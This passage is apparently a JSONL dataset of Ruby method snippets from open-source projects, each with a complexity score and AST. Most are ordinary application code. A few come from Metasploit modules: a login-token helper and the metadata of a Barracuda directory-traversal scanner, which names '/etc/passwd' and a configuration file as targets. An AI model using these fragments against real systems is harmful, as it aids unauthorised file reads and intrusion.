end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"instrument\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"instrument\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}","id":"5e7fff1b-fa44-40c3-a5d9-163d543c492a"} {"repo_name":"mastodon","file_path":"./repos/mastodon/spec/lib/mastodon/cli/accounts_spec.rb","start_line":1406,"raw_source":"def last_migration\n source_account.migrations.last\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"last_migration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_account\"]},\"migrations\"]},\"last\"]}]}","id":"04d7b20a-6505-45ba-9933-3bd1a760e2a2"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client.rb","start_line":317,"raw_source":"def self.real_time\n Time.at(Process.clock_gettime(Process::CLOCK_REALTIME))\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"real_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"clock_gettime\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"CLOCK_REALTIME\"]}]}]}]}","id":"bd9f4778-1a59-4735-8253-660f0e856a6e"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb","start_line":87,"raw_source":"def get_josso_token\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(\"josso\", \"signon\", \"usernamePasswordLogin.do\"),\n 'vars_post' => {\n 'josso_cmd' => 'login',\n 'josso_username' => datastore['USERNAME'],\n 'josso_password' => datastore['PASSWORD']\n }\n })\n if res and res.get_cookies =~ /JOSSO_SESSIONID_josso=([A-F0-9]+)/\n return $1\n else\n return nil\n end\n end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"get_josso_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"josso\"]},{\"type\":\"str\",\"children\":[\"signon\"]},{\"type\":\"str\",\"children\":[\"usernamePasswordLogin.do\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"josso_cmd\"]},{\"type\":\"str\",\"children\":[\"login\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"josso_username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"josso_password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"JOSSO_SESSIONID_josso=([A-F0-9]+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"9a938fad-8edf-43cd-9639-e91c33e7643f"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/controllers/chat/api/direct_messages_controller.rb","start_line":4,"raw_source":"def create\n Chat::CreateDirectMessageChannel.call(service_params) do\n on_success { |channel:| render_serialized(channel, Chat::ChannelSerializer, root: \"channel\") }\n on_model_not_found(:target_users) { raise ActiveRecord::RecordNotFound }\n on_failed_policy(:satisfies_dms_max_users_limit) do |policy|\n render_json_dump({ error: policy.reason }, status: 400)\n end\n on_failed_policy(:can_create_direct_message) do |policy|\n render_json_dump({ error: I18n.t(\"chat.errors.invalid_direct_message\") }, status: 400)\n end\n on_failed_policy(:actor_allows_dms) do\n render_json_error(I18n.t(\"chat.errors.actor_disallowed_dms\"))\n end\n on_failed_policy(:targets_allow_dms_from_user) { |policy| render_json_error(policy.reason) }\n on_model_errors(:direct_message) do |model|\n render_json_error(model, type: :record_invalid, status: 422)\n end\n on_model_errors(:channel) do |model|\n render_json_error(model, type: :record_invalid, status: 422)\n end\n on_failure { render(json: failed_json, status: :unprocessable_entity) }\n on_failed_contract do |contract|\n render(json: failed_json.merge(errors: contract.errors.full_messages), status: :bad_request)\n end\n end\n end","complexity_score":56.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"CreateDirectMessageChannel\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"service_params\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_success\"]},{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"channel\"]}]},{\"type\":\"send\",\"children\":[null,\"render_serialized\",{\"type\":\"lvar\",\"children\":[\"channel\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"ChannelSerializer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"str\",\"children\":[\"channel\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_model_not_found\",{\"type\":\"sym\",\"children\":[\"target_users\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_policy\",{\"type\":\"sym\",\"children\":[\"satisfies_dms_max_users_limit\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"policy\"]}]},{\"type\":\"send\",\"children\":[null,\"render_json_dump\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"reason\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[400]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_policy\",{\"type\":\"sym\",\"children\":[\"can_create_direct_message\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"policy\"]}]},{\"type\":\"send\",\"children\":[null,\"render_json_dump\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"chat.errors.invalid_direct_message\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[400]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_policy\",{\"type\":\"sym\",\"children\":[\"actor_allows_dms\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"chat.errors.actor_disallowed_dms\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_policy\",{\"type\":\"sym\",\"children\":[\"targets_allow_dms_from_user\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"policy\"]}]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy\"]},\"reason\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_model_errors\",{\"type\":\"sym\",\"children\":[\"direct_message\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"record_invalid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[422]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_model_errors\",{\"type\":\"sym\",\"children\":[\"channel\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"record_invalid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[422]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failure\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"failed_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_failed_contract\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contract\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_json\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contract\"]},\"errors\"]},\"full_messages\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]}]}]}]}]}","id":"b398a06a-b7a4-408a-b564-66d7582967fd"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cops_documentation_generator.rb","start_line":173,"raw_source":"def cop_subsection(title, cop)\n content = +\"\\n\"\n content << \"[##{to_anchor(title)}-#{to_anchor(cop.cop_name)}]\\n\"\n content << \"=== #{title}\\n\"\n content << \"\\n\"\n content\n end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"cop_subsection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"title\"]},{\"type\":\"arg\",\"children\":[\"cop\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[#\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_anchor\",{\"type\":\"lvar\",\"children\":[\"title\"]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_anchor\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop\"]},\"cop_name\"]}]}]},{\"type\":\"str\",\"children\":[\"]\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"=== \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}","id":"e0b3df24-f457-48c2-a278-9ec4fa495374"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/project_type.rb","start_line":1142,"raw_source":"def edit_path\n ::Gitlab::Routing.url_helpers.edit_project_path(project)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]},\"edit_project_path\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}","id":"14fc66aa-4966-4796-b985-78a892bb2e58"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/articles_controller.rb","start_line":69,"raw_source":"def article_params\n params.require(:article).permit(\n :title, :slug, :position, :content, :description, :category_id, :author_id, :associated_article_id, :status,\n :locale, meta: [:title,\n :description,\n { tags: [] }]\n )\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"article_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"article\"]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"sym\",\"children\":[\"associated_article_id\"]},{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"locale\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"meta\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"9ba22e78-2440-4a91-bc65-b0b833d999ad"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb","start_line":11,"raw_source":"def initialize\n super(\n 'Name' => 'Barracuda Multiple Product \"locale\" Directory Traversal',\n 'Description' => %q{\n This module exploits a directory traversal vulnerability present in\n several Barracuda products, including the Barracuda Spam and Virus Firewall,\n Barracuda SSL VPN, and the Barracuda Web Application Firewall. By default,\n this module will attempt to download the Barracuda configuration file.\n },\n 'References' => [\n ['CVE', '2010-20109'],\n ['OSVDB', '68301'],\n ['URL', 'https://web.archive.org/web/20101004131244/http://secunia.com/advisories/41609/'],\n ['EDB', '15130']\n ],\n 'Author' => [\n 'Tiago Ferreira <tiago.ccna[at]gmail.com>'\n ],\n 'DisclosureDate' => 'Oct 08 2010',\n 'License' => MSF_LICENSE\n )\n\n register_options(\n [\n Opt::RPORT(8000),\n OptString.new('FILE', [ true, \"Define the remote file to view, ex:/etc/passwd\", '/mail/snapshot/config.snapshot']),\n OptString.new('TARGETURI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']),\n ]\n )\n end","complexity_score":5.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Barracuda Multiple Product \\\"locale\\\" Directory Traversal\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" This module exploits a directory traversal vulnerability present in\\n\"]},{\"type\":\"str\",\"children\":[\" several Barracuda products, including the Barracuda Spam and Virus Firewall,\\n\"]},{\"type\":\"str\",\"children\":[\" Barracuda SSL VPN, and the Barracuda Web Application Firewall. By default,\\n\"]},{\"type\":\"str\",\"children\":[\" this module will attempt to download the Barracuda configuration file.\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2010-20109\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"68301\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://web.archive.org/web/20101004131244/http://secunia.com/advisories/41609/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"15130\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Tiago Ferreira <tiago.ccna[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"Oct 08 2010\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8000]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Define the remote file to view, ex:/etc/passwd\"]},{\"type\":\"str\",\"children\":[\"/mail/snapshot/config.snapshot\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Barracuda vulnerable URI path\"]},{\"type\":\"str\",\"children\":[\"/cgi-mod/view_help.cgi\"]}]}]}]}]}]}]}","id":"6ee54368-06bb-458a-a4d5-ae2c9ed46f2a"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/comments_controller.rb","start_line":195,"raw_source":"def delete_confirm\n @comment = Comment.find(params[:id_code].to_i(26))\n authorize @comment\n end","complexity_score":7.55,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_confirm\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@comment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id_code\"]}]},\"to_i\",{\"type\":\"int\",\"children\":[26]}]}]}]},{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"ivar\",\"children\":[\"@comment\"]}]}]}]}","id":"624cda37-d6e1-4b38-9caa-a4674a0a5be4"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/method_call_with_args_parentheses/omit_parentheses.rb","start_line":110,"raw_source":"def call_in_literals?(node)\n parent = node.parent&.any_block_type? ? node.parent.parent : node.parent\n return false unless parent\n\n parent.type?(:pair, :array, :range) ||\n splat?(parent) ||\n ternary_if?(parent)\n end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call_in_literals?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},\"any_block_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},\"parent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"type?\",{\"type\":\"sym\",\"children\":[\"pair\"]},{\"type\":\"sym\",\"children\":[\"array\"]},{\"type\":\"sym\",\"children\":[\"range\"]}]},{\"type\":\"send\",\"children\":[null,\"splat?\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]},{\"type\":\"send\",\"children\":[null,\"ternary_if?\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]}]}]}]}","id":"8d527b0b-4ea6-4d28-9a46-63a37ce5a980"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/nessus.rb","start_line":223,"raw_source":"def is_scan_complete(scan_id)\n complete = false\n status = @n.scan_list\n status['scans'].each do |scan|\n if scan['id'] == scan_id.to_i && (scan['status'] == 'completed' || scan['status'] == 'imported')\n complete = true\n end\n end\n complete\n end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"is_scan_complete\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scan_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"complete\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@n\"]},\"scan_list\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"[]\",{\"type\":\"str\",\"children\":[\"scans\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scan\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan_id\"]},\"to_i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan\"]},\"[]\",{\"type\":\"str\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"completed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scan\"]},\"[]\",{\"type\":\"str\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"imported\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"complete\",{\"type\":\"true\",\"children\":[]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"complete\"]}]}]}","id":"d76bc921-c052-4caa-99b7-9776abf6ff77"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/settings/project_phase_definitions/row_component.rb","start_line":44,"raw_source":"def move_action(menu:, move_to:, label:, icon:)\n menu.with_item(\n label:,\n href: move_admin_settings_project_phase_definition_path(definition, move_to:),\n form_arguments: {\n method: :patch\n },\n data: {\n \"projects--settings--border-box-filter-target\": \"hideWhenFiltering\"\n }\n ) do |item|\n item.with_leading_visual_icon(icon:)\n end\n end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"move_action\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"menu\"]},{\"type\":\"kwarg\",\"children\":[\"move_to\"]},{\"type\":\"kwarg\",\"children\":[\"label\"]},{\"type\":\"kwarg\",\"children\":[\"icon\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu\"]},\"with_item\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"move_admin_settings_project_phase_definition_path\",{\"type\":\"send\",\"children\":[null,\"definition\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"move_to\"]},{\"type\":\"lvar\",\"children\":[\"move_to\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"form_arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"sym\",\"children\":[\"patch\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"projects--settings--border-box-filter-target\"]},{\"type\":\"str\",\"children\":[\"hideWhenFiltering\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"with_leading_visual_icon\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"lvar\",\"children\":[\"icon\"]}]}]}]}]}]}","id":"42054750-c62a-41eb-883f-b105fcc03473"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/rails/db/system/change/change_generator.rb","start_line":67,"raw_source":"def all_docker_bases\n Database.all.map { |database| docker_base_packages(database.base_package) }.uniq\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"all_docker_bases\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Database\"]},\"all\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"database\"]}]},{\"type\":\"send\",\"children\":[null,\"docker_base_packages\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database\"]},\"base_package\"]}]}]},\"uniq\"]}]}","id":"5e043228-6553-4ff0-bfc4-93b2713af477"} 